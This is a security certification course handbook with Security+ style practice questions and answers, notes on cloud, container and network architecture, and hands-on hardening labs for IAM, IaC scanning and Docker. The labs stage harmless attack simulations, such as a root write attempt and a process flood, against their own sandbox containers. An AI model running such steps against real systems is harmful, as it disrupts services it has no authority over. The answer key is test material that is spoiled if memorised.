Note: Full commands, troubleshooting and the challenge task are in labs/lab-16-linux-hardening/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Practice Questions — Domain 2

1. [2.1] A well-funded group keeps stealthy access to a government network for years to steal secrets. Best fit? A) Hacktivist B) Insider C) Nation-state D) Unskilled

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

2. [2.1] An employee adopts an unapproved cloud file-sharing app to work faster. BEST described as: A) Insider threat B) Shadow IT C) Hacktivism D) Organized crime

3. [2.2] A user receives a text message with a link to 'reconfirm' a parcel delivery. This vector is: A) Vishing B) Phishing C) Smishing D) Pretexting

4. [2.2] Attackers poison an industry news site their target's staff read daily. This is a: A) Watering hole B) Typosquatting C) Whaling D) Pretexting

5. [2.2] A finance clerk gets an email from the 'CEO' urgently demanding a wire transfer. This is MOST specifically: A) Spam B) Business email compromise C) Smishing D) Bloatware

6. [2.3] A program checks a file's permissions, then opens it; an attacker swaps the file in between. This is a: A) Buffer overflow B) Race condition C) SQLi D) Zero-day

7. [2.3] An attacker runs code on the hypervisor by breaking out of a guest VM. This is: A) Resource reuse B) VM escape C) Side loading D) Credential replay

8. [2.4] One account logs in from Singapore and Germany eight minutes apart. This indicator is: A) Out-of-cycle logging B) Impossible travel C) Resource use D) Missing logs

9. [2.4] Malware spreads across the network by itself with no user action. It is a: A) Virus B) Trojan C) Worm D) Logic bomb

10. [2.4] One password is tried once against hundreds of accounts to avoid lockouts. This is: A) Brute force B) Credential stuffing C) Password spraying D) Rainbow table

11. [2.5] Only explicitly approved programs may execute on a host; all others are blocked. This control is an: A) Deny list B) Application allow list C) ACL D) HIPS

12. [2.5] A team divides the network so a breach in the guest Wi-Fi cannot reach servers. This mitigation is: A) Patching B) Segmentation C) Encryption D) Decommissioning

Answers

- Q1: C — A long-term, well-resourced espionage campaign is the hallmark of a nation-state APT.
- Q2: B — Shadow IT: unsanctioned but not malicious; the risk is lack of oversight.
- Q3: C — Smishing is phishing delivered over SMS text messages.
- Q4: A — A watering-hole attack poisons a site the target group is known to visit.
- Q5: B — Business email compromise uses a spoofed or hijacked executive account to order fraudulent transfers.
- Q6: B — A time-of-check to time-of-use race condition: state changes between the check and the use.
- Q7: B — VM escape breaks guest isolation to compromise the host and every other VM.
- Q8: B — Impossible travel: the two logins are closer in time than any real travel allows.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Q9: C — A worm self-propagates without user interaction; a virus needs a host file and a user.
- Q10: C — Password spraying uses one common password across many accounts to stay under lockout thresholds.
- Q11: B — An application allow list is default-deny and stronger than a deny list.
- Q12: B — Segmentation limits lateral movement and shrinks the blast radius of a compromise.

Domain 3 — Security Architecture (18%)

3.1 Architecture models · 3.2 Enterprise infrastructure · 3.3 Data protection · 3.4 Resilience

Exam objectives in this domain

- 3.1 Compare and contrast security implications of different architecture models
- 3.2 Given a scenario, apply security principles to secure enterprise infrastructure
- 3.3 Compare and contrast concepts and strategies to protect data
- 3.4 Explain the importance of resilience and recovery in security architecture

Objective 3.1 — Architecture Models

Official objective: Compare and contrast security implications of different architecture models.

Every architecture model, from an on-premises data centre to serverless cloud functions, moves security responsibilities between the organisation and its providers.

The cloud responsibility matrix shows who secures each layer, but the customer always keeps accountability for its data, identities and configuration.

Modern designs such as infrastructure as code, microservices and containers bring speed and repeatability, while also creating new attack surfaces such as APIs and shared kernels.

Network infrastructure can be separated physically, as in an air-gapped network, or logically with segmentation and software-defined networking.

Specialised systems such as ICS/SCADA, IoT, RTOS and embedded devices are often hard to patch, so the choice of model is a trade-off between availability, cost, recovery and patching.

The Cloud Responsibility Matrix

- On-premises — The organisation owns everything from the building, power and hardware up to the application, data and identities.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- IaaS — The provider runs facilities, hardware and hypervisor. You still patch the guest OS, set network rules and protect the data.
- PaaS — The provider also manages the OS and runtime. You remain responsible for your code, its configuration, identities and data.
- SaaS — The provider runs the whole application. You still own your data, user accounts, access permissions and service settings.
- Always the customer — In every model the customer keeps data classification, identity and access management and account security.
- A responsibility matrix records which party owns each control. Customer-side misconfiguration causes most cloud breaches.

Deployment Models and Hybrid Considerations

- Public cloud — Multi-tenant infrastructure shared by many customers. It scales instantly, but you rely on the provider to isolate tenants.
- Private cloud — Infrastructure dedicated to one organisation, on site or hosted. It gives more control and assurance at a higher cost.
- Hybrid cloud — Mixes on-premises and cloud. Watch for inconsistent policies, identity federation gaps and data flowing between them.
- Community cloud — Shared by organisations with common needs, such as hospitals or agencies, which split cost and compliance work.
- Third-party vendors — Every provider and managed service partner joins your attack surface. Assess them, agree SLAs and keep a right to audit.
- Multi-tenancy risk — A flaw in tenant isolation could expose one customer's data to another, so encrypt data with keys you control.

IaC, Serverless and Microservices

- Infrastructure as code — Servers, networks and policies are defined in version-controlled templates, giving repeatable builds and no drift.
- IaC security — One template error is copied into every deployment. Scan templates before deploying and keep secrets out of the repo.
- Serverless — Code runs as on-demand functions with no server to manage. The provider patches the platform; you secure code and permissions.
- Microservices — An application split into small independent services that talk over APIs. Each scales alone, but every API is an entry point.
- Monolith contrast — A monolith is one large deployable unit. It has fewer interfaces, but one flaw or crash can take down the whole application.
- API protection — Microservices need service-to-service authentication, rate limiting, input validation and a gateway to enforce policy.

Virtualisation versus Containerisation

- Virtual machines: A hypervisor runs complete guest operating systems, each with its own kernel.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Virtual machines: Isolation is strong because every VM has a separate kernel and virtual hardware.
- Virtual machines: VM escape, where code breaks out of a guest into the hypervisor, is the worst case.
- Virtual machines: VM sprawl leaves forgotten, unpatched machines running on the host.
- Containers: Containers share the host kernel and isolate processes with namespaces and cgroups.
- Containers: They start in seconds and are small, which makes them ideal for microservices.
- Containers: A kernel flaw or a privileged container can let an attacker reach the host.
- Containers: Scan images, run as non-root and grant only the capabilities the process needs.

Centralised versus Decentralised

- Centralised: Control, data and decisions sit in one place, such as one data centre or directory.
- Centralised: It is easier to manage, monitor and apply one consistent security policy.
- Centralised: It creates a single point of failure and a high-value target for attackers.
- Centralised: Example: one on-premises data centre with a single identity provider.
- Decentralised: Processing and control are spread across many sites, nodes or business units.
- Decentralised: It is more resilient because one failed node does not stop the whole system.
- Decentralised: Policy is harder to keep consistent and visibility is split across many teams.
- Decentralised: Examples: blockchain ledgers, edge computing and branches with local services.

Physical Isolation, Segmentation and SDN

- Physical isolation — Systems run on separate hardware with no shared cabling. It is the strongest separation and also the most expensive.
- Air-gapped network — A network with no connection to any other network. Data moves on removable media, which becomes the main threat vector.
- Logical segmentation — VLANs, subnets and firewall rules divide one physical network into separate zones, each with its own policy.
- Software-defined networking — SDN separates the control plane from the data plane, so a central controller programs every switch in software.
- SDN planes — The control plane decides where traffic goes, the data plane forwards it and the management plane configures devices.
- SDN risk — The controller becomes a single high-value target. Protect it with strong authentication, segmentation and redundancy.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

ICS/SCADA, IoT, RTOS and Embedded Systems

- IoT — Connected devices often ship with default passwords, weak update paths and long lives. Isolate them on their own segment.
- ICS and SCADA — Industrial control systems run physical processes such as power and water. SCADA supervises them across wide areas.
- OT priorities — Availability and safety come first in operational technology, so patching is rare and every change is carefully planned.
- RTOS — A real-time operating system guarantees a response within strict deadlines, as in vehicles, infusion pumps and robots.
- Embedded systems — Purpose-built computers inside devices, often with firmware that is hard or impossible to patch after release.
- High availability — Critical platforms are built with redundant components so that a single failure does not stop the service.

Architecture Considerations and Trade-offs

- Availability — How reliably the system is reachable, expressed as uptime targets such as 99.99 percent, called four nines.
- Resilience — How well the system withstands and recovers from failure without losing service, for example through redundancy.
- Cost — Capital and operating expense. Cloud swaps up-front hardware spending for an ongoing subscription.
- Responsiveness — How quickly the system answers under load. Latency matters most for real-time and user-facing services.
- Scalability — The ability to grow or shrink with demand. Cloud scales out automatically; on premises needs new hardware.
- Ease of deployment — How fast environments can be built. IaC templates and containers make deployment quick and repeatable.
- Risk transference — Shifting some risk to another party, such as a provider or insurer. Accountability for the data stays with you.
- Ease of recovery — How fast service is restored after an incident. Snapshots, IaC rebuilds and backups all shorten recovery.
- Patch availability — Whether the vendor still releases fixes. End-of-life products get no patches and stay permanently vulnerable.
- Inability to patch — Some ICS, medical and embedded systems cannot be patched safely, so compensating controls must reduce the risk.
- Power — Electrical draw and supply limits. Small embedded and IoT devices often cannot run heavy security agents.
- Compute — Available processing capacity. Constrained devices may lack the CPU for strong encryption or endpoint protection.
- Exam scenarios ask you to pick the model whose trade-offs best fit the stated priority, such as cost, recovery or patching.

Obj 3.1 · Key Idea

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- You can outsource the infrastructure, never the accountability. Whatever the cloud model, the customer still owns its data, identities and configuration choices. Read the responsibility matrix before you sign.

Exam tips

- IaaS: you patch the guest OS. PaaS: you secure code and data. SaaS: you still own data, users and access settings.
- Air-gapped means no network connection at all, so removable media such as USB drives becomes the main infection route.
- SDN splits the control plane, which decides the path, from the data plane, which forwards the packets.
- Containers share the host kernel while each VM has its own kernel, so container isolation is weaker by design.
- For an ICS or embedded device that cannot be patched, the answer is usually a compensating control: segment and monitor it.

Lab 17 — Cloud Shared Responsibility and IAM Least Privilege

Exam objective: 3.1. Learning outcome: Map cloud responsibilities and enforce least-privilege IAM and IaC.

Goal: The learner builds an on-prem/IaaS/PaaS/SaaS responsibility matrix, simulates IAM policy evaluation, replaces a wildcard policy with least privilege, and scans an IaC template for misconfigurations.

What you'll build

A responsibility matrix, an IAM simulator, a least-privilege policy and a clean IaC scan (Tools: jq, python3, awk, column (bsdextrautils).)

Step-by-step

1. Install the tools jq queries JSON policies and templates, python3 runs the policy simulator and column (from bsdextrautils) prints tables.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y jq
python3 bsdextrautils
```

```
mkdir -p /root/lab17 && cd /root/lab17
```

```
jq --version && python3 --version
```

2. Build the shared responsibility matrix Record who owns each layer in each model as a CSV file — this is your responsibility matrix.

```
cd /root/lab17
```

```
cat > matrix.csv <<'EOF'
```

```
layer,on_prem,iaas,paas,saas
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
physical_datacentre,customer,provider,provider,provider

hardware_and_network,customer,provider,provider,provider

hypervisor,customer,provider,provider,provider

guest_os_patching,customer,customer,provider,provider

runtime_and_middleware,customer,customer,provider,provider

application_code,customer,customer,customer,provider

network_rules_security_groups,customer,customer,shared,provider

identity_and_access,customer,customer,customer,customer

data_and_classification,customer,customer,customer,customer

EOF

column -s, -t matrix.csv
```

3. Query the matrix for who owns each control Answer typical exam questions straight from the matrix.

```
cd /root/lab17

echo "--- IaaS: the customer still owns ---"

awk -F, 'NR>1 && $3=="customer" {print "  " $1}' matrix.csv

echo "--- SaaS: the customer still owns ---"

awk -F, 'NR>1 && $5=="customer" {print "  " $1}' matrix.csv
```

4. Create an over-permissive IAM policy Write an AWS-style policy that grants every action on every resource, then flag wildcard grants with jq.

```
cd /root/lab17

cat > policy-v1.json <<'EOF'

{

  "Version": "2012-10-17",

  "Statement": [

    {"Sid": "AdminEverything", "Effect": "Allow", "Action": "*",
"Resource": "*"}

  ]

}

EOF
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
jq -r '.Statement[] | select(.Effect=="Allow")

  | select(([.Action]|flatten|any(.=="*" or endswith(":*"))) or
([.Resource]|flatten|any(.=="*")))

  | "FINDING: \(.Sid) allows Action=\(.Action) on Resource=\(.Resource)"'
policy-v1.json
```

5. Evaluate requests with a policy simulator This small simulator applies the real cloud IAM logic: explicit deny wins, then allow, otherwise implicit deny.

```
cd /root/lab17

cat > evaluate.py <<'EOF'

#!/usr/bin/env python3

"""Tiny IAM evaluator: explicit Deny > Allow > implicit deny (lab use
only)."""

import json, sys, fnmatch

def as_list(v):

    return v if isinstance(v, list) else [v]

policy = json.load(open(sys.argv[1]))

action, resource = sys.argv[2], sys.argv[3]

decision = "IMPLICIT DENY"

for st in policy["Statement"]:

    a_ok = any(fnmatch.fnmatchcase(action, a) for a in
as_list(st["Action"]))

    r_ok = any(fnmatch.fnmatchcase(resource, r) for r in
as_list(st["Resource"]))

    if a_ok and r_ok:

        if st["Effect"] == "Deny":

            decision = "EXPLICIT DENY"

            break

        decision = "ALLOW"

print(f"{decision:14} {action:24} {resource}")

EOF

cat > requests.txt <<'EOF'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
s3:GetObject arn:aws:s3:::reports/q3-summary.pdf

s3:DeleteObject arn:aws:s3:::reports/q3-summary.pdf

iam:CreateUser arn:aws:iam::111122223333:user/backdoor

ec2:TerminateInstances
arn:aws:ec2:ap-southeast-1:111122223333:instance/i-0abc123

EOF

while read -r act res; do python3 evaluate.py policy-v1.json "$act" "$res";
done < requests.txt
```

6. Rewrite the policy to least privilege and re-evaluate Allow only reading the reports bucket and add an explicit deny on deletion.

```
cd /root/lab17

cat > policy-v2.json <<'EOF'

{

  "Version": "2012-10-17",

  "Statement": [

    {"Sid": "ReadReports", "Effect": "Allow",

     "Action": ["s3:GetObject", "s3:ListBucket"],

     "Resource": ["arn:aws:s3:::reports", "arn:aws:s3:::reports/*"]},

    {"Sid": "NeverDelete", "Effect": "Deny", "Action": "s3:DeleteObject",
"Resource": "*"}

  ]

}

EOF

while read -r act res; do python3 evaluate.py policy-v2.json "$act" "$res";
done < requests.txt

jq -e '[.Statement[] | select(.Effect=="Allow")

  | select(([.Action]|flatten|any(.=="*" or endswith(":*"))) or
([.Resource]|flatten|any(.=="*")))] | length == 0' \

  policy-v2.json >/dev/null && echo "LEAST PRIVILEGE: no wildcard Allow
statements"
```

7. Scan an IaC template for misconfigurations Write a simplified IaC template with three classic cloud mistakes, plus a policy-as-code scanner built on jq.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cd /root/lab17

cat > template-v1.json <<'EOF'

{

  "resources": [

    {"type": "storage_bucket", "name": "reports", "public_read": true,
"encryption": false, "region": "ap-southeast-1"},

    {"type": "security_group", "name": "web-sg",

     "ingress": [{"port": 443, "cidr": "0.0.0.0/0"}, {"port": 22, "cidr":
"0.0.0.0/0"}]},

    {"type": "vm", "name": "web01", "image": "ubuntu-24.04", "public_ip":
true, "disk_encrypted": false}

  ]

}

EOF

cat > iac-scan.sh <<'EOF'

#!/usr/bin/env bash

# Minimal policy-as-code checker for the lab template format. Exit 0 =
clean.

out=$(jq -r '

  .resources[] as $r

  | ( if $r.type=="storage_bucket" and $r.public_read==true then "HIGH  \
($r.name): bucket is publicly readable" else empty end ),

    ( if $r.type=="storage_bucket" and $r.encryption!=true then "HIGH  \
($r.name): bucket not encrypted at rest" else empty end ),

    ( if $r.type=="security_group" then ($r.ingress[] |
select(.cidr=="0.0.0.0/0" and .port!=443)

        | "HIGH  \($r.name): port \(.port) open to the whole internet")
else empty end ),

    ( if $r.type=="vm" and $r.disk_encrypted!=true then "MED   \($r.name):
VM disk not encrypted" else empty end ),

    ( if $r.type=="vm" and $r.public_ip==true then "MED   \($r.name): VM
has a public IP (use a jump server or load balancer)" else empty end )

' "$1")
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
[ -n "$out" ] && echo "$out"

echo "Findings: $(printf '%s' "$out" | grep -c .)"

[ -z "$out" ]

EOF

chmod +x iac-scan.sh

./iac-scan.sh template-v1.json
```

8. Fix the template and confirm a clean scan Close the bucket, encrypt storage, restrict SSH to the management (jump server) subnet and remove the public IP.

```
cd /root/lab17

cat > template-v2.json <<'EOF'

{

  "resources": [

    {"type": "storage_bucket", "name": "reports", "public_read": false,
"encryption": true, "region": "ap-southeast-1"},

    {"type": "security_group", "name": "web-sg",

     "ingress": [{"port": 443, "cidr": "0.0.0.0/0"}, {"port": 22, "cidr":
"10.0.30.0/24"}]},

    {"type": "vm", "name": "web01", "image": "ubuntu-24.04", "public_ip":
false, "disk_encrypted": true}

  ]

}

EOF

./iac-scan.sh template-v2.json && echo "Template approved for deployment"

diff <(jq -S . template-v1.json) <(jq -S . template-v2.json)
```

Test it

template-v1 reports 5 findings and template-v2 reports Findings: 0; the v2 policy returns EXPLICIT DENY for s3:DeleteObject and IMPLICIT DENY for iam:CreateUser.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-17-cloud-shared-responsibility/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 18 — Container Security with Docker

Exam objective: 3.1. Learning outcome: Run containers non-root, read-only, capability-free and capped.

Goal: The learner inspects a default root container, builds a non-root image, runs it read-only with all capabilities dropped and resource limits applied, and scans images for known CVEs with Trivy.

What you'll build

A non-root image, a hardened container, a pids-capped container and a Trivy report (Tools: docker.io, capsh (libcap2-bin), trivy.)

Step-by-step

1. Install Docker and check the engine Install Docker only if it is missing, plus capsh for decoding capability sets and jq.

```
apt-get update -qq

command -v docker >/dev/null 2>&1 || DEBIAN_FRONTEND=noninteractive apt-get install -y docker.io

DEBIAN_FRONTEND=noninteractive apt-get install -y libcap2-bin jq curl

systemctl start docker 2>/dev/null || true

docker version --format 'Client {{.Client.Version}} / Server {{.Server.Version}}'

mkdir -p /root/lab18 && cd /root/lab18
```

2. Run a default container and inspect its privileges Start a stock nginx container and look at who it runs as and what capabilities it holds.

```
docker run -d --name web-default nginx:alpine

sleep 2

docker exec web-default id

docker exec web-default grep CapEff /proc/1/status

capsh --decode=$(docker exec web-default awk '/CapEff/{print $2}' /proc/1/status)
```

3. Compare container isolation with the host The container has its own PID and network namespaces, but the same kernel as the host.

```
echo "Host kernel: $(uname -r)   Container kernel: $(docker exec web-default uname -r)"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
docker exec web-default ps

PID=$(docker inspect -f '{{.State.Pid}}' web-default)

echo "Container PID 1 is host PID $PID"

readlink /proc/1/ns/pid /proc/$PID/ns/pid

readlink /proc/1/ns/net /proc/$PID/ns/net
```

4. Build an image that runs as a non-root user Write a Dockerfile with a dedicated unprivileged account and a USER instruction.

```
cd /root/lab18

cat > Dockerfile <<'EOF'

FROM alpine:3.20

RUN addgroup -S -g 10001 app && adduser -S -D -H -u 10001 -G app app

USER 10001:10001

CMD ["sleep", "3600"]

EOF

docker build -q -t lab18/app:1.0 .

docker run --rm lab18/app:1.0 id
```

5. Harden the container: read-only, no capabilities, no new privileges Even root inside this container is powerless: the filesystem is read-only and every capability is dropped.

```
docker run -d --name app-hardened --read-only --tmpfs
/tmp:rw,noexec,nosuid,size=16m \

  --cap-drop ALL --security-opt no-new-privileges:true lab18/app:1.0

sleep 1

docker exec app-hardened id -u

docker exec -u 0 app-hardened touch /etc/pwned 2>&1 || echo "BLOCKED: root
filesystem is read-only"

docker exec app-hardened sh -c 'touch /tmp/scratch && echo "tmpfs /tmp is
writable"'

docker exec -u 0 app-hardened chown 0 /tmp/scratch 2>&1 || echo "BLOCKED:
root has no CAP_CHOWN"

docker exec app-hardened awk '/CapEff/{print "CapEff:", $2}' /proc/1/status
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

6. Apply resource limits and survive a fork bomb Cap memory, CPU and the number of processes, then try to spawn 60 processes inside a 30-process limit.

```
docker run -d --name app-capped --memory 64m --cpus 0.5 --pids-limit 30
lab18/app:1.0

sleep 1

docker inspect -f 'Memory={{.HostConfig.Memory}}
NanoCpus={{.HostConfig.NanoCpus}} PidsLimit={{.HostConfig.PidsLimit}}' app-
capped

docker exec app-capped sh -c 'for i in $(seq 1 60); do sleep 30 & done'
2>&1 | tail -2

echo "Processes in container: $(docker exec app-capped ps -o pid=
2>/dev/null | wc -l)"

docker stats --no-stream app-capped
```

7. Audit default versus hardened settings Compare the runtime security settings of all three containers side by side.

```
for c in web-default app-hardened app-capped; do

  docker inspect -f '{{.Name}}: user={{.Config.User}}
readonly={{.HostConfig.ReadonlyRootfs}} capdrop={{.HostConfig.CapDrop}}
secopt={{.HostConfig.SecurityOpt}} privileged={{.HostConfig.Privileged}}
mem={{.HostConfig.Memory}} pids={{.HostConfig.PidsLimit}}' "$c"

done
```

8. Scan images for known vulnerabilities Install a pinned Trivy release from GitHub and compare an old base image with a current one.

```
cd /root/lab18

curl -sSL -o trivy.deb
https://github.com/aquasecurity/trivy/releases/download/v0.74.0/trivy_0.74.
0_Linux-64bit.deb

dpkg -i trivy.deb >/dev/null && trivy --version | head -1

trivy image --quiet --scanners vuln --severity HIGH,CRITICAL nginx:1.21-
alpine | grep -E 'Total|^nginx' | head -5

trivy image --quiet --scanners vuln --severity HIGH,CRITICAL lab18/app:1.0
| grep -E 'Total' | head -3
```

Test it

app-hardened runs as UID 10001, even root gets 'Read-only file system', CapEff is 0, the capped container refuses to fork past 30 processes, and Trivy lists CVEs for the old image.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Note: Full commands, troubleshooting and the challenge task are in labs/lab-18-container-security-docker/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 3.2 — Securing Enterprise Infrastructure

Official objective: Given a scenario, apply security principles to secure enterprise infrastructure.

Securing enterprise infrastructure starts with design: where each device is placed, which security zone it protects and how much attack surface each connection creates.

Every control has attributes that change its risk: it can fail open or fail closed, act actively or passively, and sit inline or watch a copy of the traffic from a tap.

Network appliances such as jump servers, proxies, IDS/IPS, load balancers and sensors each solve a specific problem, while 802.1X with EAP stops unknown devices joining the network.

Firewalls range from layer 4 stateful filters to layer 7 devices such as WAFs, NGFWs and UTM appliances, and each type sees a different part of the traffic.

Secure communication uses VPNs, TLS and IPSec tunnels, SD-WAN and SASE, and the right mix of controls is chosen by matching each one to the risk it must reduce.

Infrastructure Considerations

- Device placement — Put each control where it sees the traffic it protects, such as a firewall at a zone edge or a sensor at a choke point.
- Security zones — Group assets of equal trust, such as internet, screened subnet, internal and management, and police traffic between them.
- Attack surface — Every open port, exposed service, account and interface an attacker could use. Shrink it by removing what is not needed.
- Connectivity — Every link to sites, clouds and partners is an attack path. Inventory each connection and encrypt and filter it.
- Screened subnet — Formerly called a DMZ. It hosts public services such as web servers and is isolated from the trusted internal network.
- Defence in depth — Layer controls so that one bypassed or failed device does not expose everything behind it.

Fail-Open versus Fail-Closed

- Fail-open: When the device fails, traffic keeps flowing without being inspected.
- Fail-open: It preserves availability at the cost of confidentiality and integrity.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Fail-open: It suits devices where an outage is the bigger risk, such as a monitoring sensor.
- Fail-open: Example: an IPS bypass switch that passes traffic when the IPS crashes.
- Fail-closed: When the device fails, all traffic through it is blocked.
- Fail-closed: It preserves confidentiality and integrity at the cost of availability.
- Fail-closed: It suits security-critical boundaries such as the perimeter firewall.
- Fail-closed: Example: a firewall that drops every packet when its rule engine stops.

Active, Passive, Inline and Tap

- Active — The device can act on traffic, such as blocking a connection, resetting a session or quarantining a host. An IPS is active.
- Passive — The device only observes and alerts, so it cannot stop an attack itself. An IDS fed from a mirror port is passive.
- Inline — Installed in the cable path, sometimes called a bump in the wire. Every packet passes through it, so it can block.
- Tap or monitor — Receives a copy of traffic from a network tap or SPAN mirror port. It adds no latency and no failure point.
- SPAN caveat — A switch mirror port can drop frames under load and does not copy errored frames, so a hardware tap is more reliable.
- The trade-off — Inline active devices can stop attacks but add latency and a failure point. Passive monitors are safe but only detect.

Network Appliances

- Jump server — A hardened host in the management zone. Admins connect to it first, then onward, so admin access is funnelled and logged.
- Forward proxy — Makes outbound requests for internal clients, enabling URL filtering, caching, logging and hiding client addresses.
- Reverse proxy — Receives inbound requests for internal web servers, hiding them and enabling TLS offload and request filtering.
- IDS and IPS — An IDS detects and alerts on malicious traffic; an IPS sits inline and blocks it. Both use signatures and anomalies.
- Load balancer — Spreads requests across a pool of servers using health checks, improving availability and absorbing traffic spikes.
- Sensors — Collect traffic or events at key points, such as taps and host agents, and feed them to an IDS or a SIEM.

Signature versus Anomaly Detection

- Signature-based: Matches traffic against patterns of known attacks, much like antivirus definitions.
- Signature-based: It produces few false positives for well-understood attacks.
- Signature-based: It cannot detect a zero-day attack that has no signature yet.
- Signature-based: Signatures must be updated constantly to remain effective.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Anomaly-based: Learns a baseline of normal traffic and alerts on deviations from it.
- Anomaly-based: It can catch novel and zero-day attacks that have no known signature.
- Anomaly-based: It raises more false positives, especially while the baseline is immature.
- Anomaly-based: A baseline recorded during an attack teaches the system that bad is normal.

How 802.1X Port-Based Access Control Works

- Step 1: A device connects and the switch port starts unauthorised
- Step 2: The switch, as authenticator, asks for an EAP identity
- Step 3: The supplicant sends its credentials over EAPoL
- Step 4: The switch relays them to a RADIUS server
- Step 5: RADIUS accepts or rejects and the port opens or stays shut
- Step 6: Optionally a VLAN is assigned based on the user's role

Port Security and EAP Methods

- Port security — Switch features that limit which devices may use a port, such as MAC limiting, sticky MACs and disabling unused ports.
- 802.1X — Port-based network access control. Only authentication traffic crosses the port until the device proves who it is.
- EAP — The Extensible Authentication Protocol is a framework that carries many authentication methods between client and server.
- EAP-TLS — Client and server both present certificates. It is the strongest common method but needs a PKI for client certificates.
- PEAP and EAP-TTLS — The server certificate builds a TLS tunnel and the user then signs in inside it with a password. No client certificate.
- EAP-FAST — A Cisco-developed method that builds the tunnel with a protected access credential instead of certificates.

Firewall Types

- Packet filter — Stateless filtering on source and destination IP, protocol and port. Each packet is judged alone with no memory.
- Stateful (layer 4) — Tracks connections in a state table, so replies to allowed sessions pass automatically. Decides on IPs and ports.
- Layer 7 firewall — Understands the application protocol, so it can allow HTTP yet block a method, URL, file type or application.
- NGFW — A next-generation firewall adds application awareness, user identity, TLS inspection and built-in IPS to stateful rules.
- UTM — Unified threat management bundles firewall, anti-malware, URL filtering, IPS, spam filtering and VPN in one appliance.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- WAF — A web application firewall inspects HTTP requests to block SQL injection, XSS and other attacks on web applications.
- UTM suits smaller sites that want one box, but it is a single point of failure and can become a performance bottleneck.

Why Layer 7 Filtering Is Needed

- Layer 4 firewall: It decides using IP addresses, protocol and port numbers at layers 3 and 4.
- Layer 4 firewall: Port 443 is either open or closed, so every HTTPS request looks identical to it.
- Layer 4 firewall: It cannot read a query string, a POST body, a cookie or a JSON payload.
- Layer 4 firewall: It cannot tell a normal login from an SQL injection sent to the same URL.
- Layer 7 firewall or WAF: It parses the full HTTP request after TLS termination, including headers and body.
- Layer 7 firewall or WAF: It matches attack patterns such as UNION SELECT and path traversal sequences.
- Layer 7 firewall or WAF: It enforces per-parameter limits, upload size caps and allowed HTTP methods.
- Layer 7 firewall or WAF: It protects applications you cannot patch, but never replaces fixing the code.

Connection State and Rule Design

- NEW — The first packet of a connection, such as a TCP SYN. This is the only traffic your allow rules need to name.
- ESTABLISHED — Packets belonging to a connection already seen in both directions. Accepting these avoids writing reverse rules.
- RELATED — A separate connection spawned by an allowed one, such as an FTP data channel or an ICMP error message.
- Default deny — Set the policy to drop, then allow-list only required services. Anything not permitted is denied.
- Rule order — Rules are evaluated top down and the first match wins, so a broad allow above a specific deny defeats it.
- Implicit deny — The unwritten final rule that drops everything unmatched, which is why an empty allow-list is secure.

Secure Communication and Access

- VPN — An encrypted tunnel across an untrusted network that protects the confidentiality and integrity of data in transit.
- Remote access — Lets individual users reach internal resources from outside, through a VPN client, jump server or zero trust gateway.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- TLS tunnelling — A TLS VPN runs over TCP 443, so it passes most firewalls and can be clientless through a web browser.
- IPSec — Works at layer 3. AH gives integrity and authentication only, ESP adds encryption and IKE negotiates the keys.
- SD-WAN — Software-defined WAN steers branch traffic over broadband, LTE and MPLS links by policy. Every path must be encrypted.
- SASE — Secure access service edge delivers networking and security, such as SWG, CASB, ZTNA and firewall, as a cloud service.

VPN Choices You Must Know

- Site-to-site — Two gateways join two networks permanently. Client devices need no VPN software at all.
- Remote access — An individual user device connects into the corporate network, typically for teleworking.
- Tunnel mode — The whole original IP packet is encrypted and wrapped in a new header, which is what gateways use.
- Transport mode — Only the payload is encrypted and the original IP header is kept, used for host-to-host traffic.
- Split tunnel — Only corporate subnets go through the VPN. It saves bandwidth but bypasses inspection of internet traffic.
- Full tunnel — All traffic is forced through the VPN so policy and logging apply everywhere, at the cost of throughput.

IPSec and WireGuard

- IPSec: It uses IKEv2 on UDP 500 and 4500 for key exchange, then ESP for encryption.
- IPSec: It negotiates algorithms, so misconfiguration can silently select weak ciphers.
- IPSec: Implementations are very large, which gives a correspondingly large attack surface.
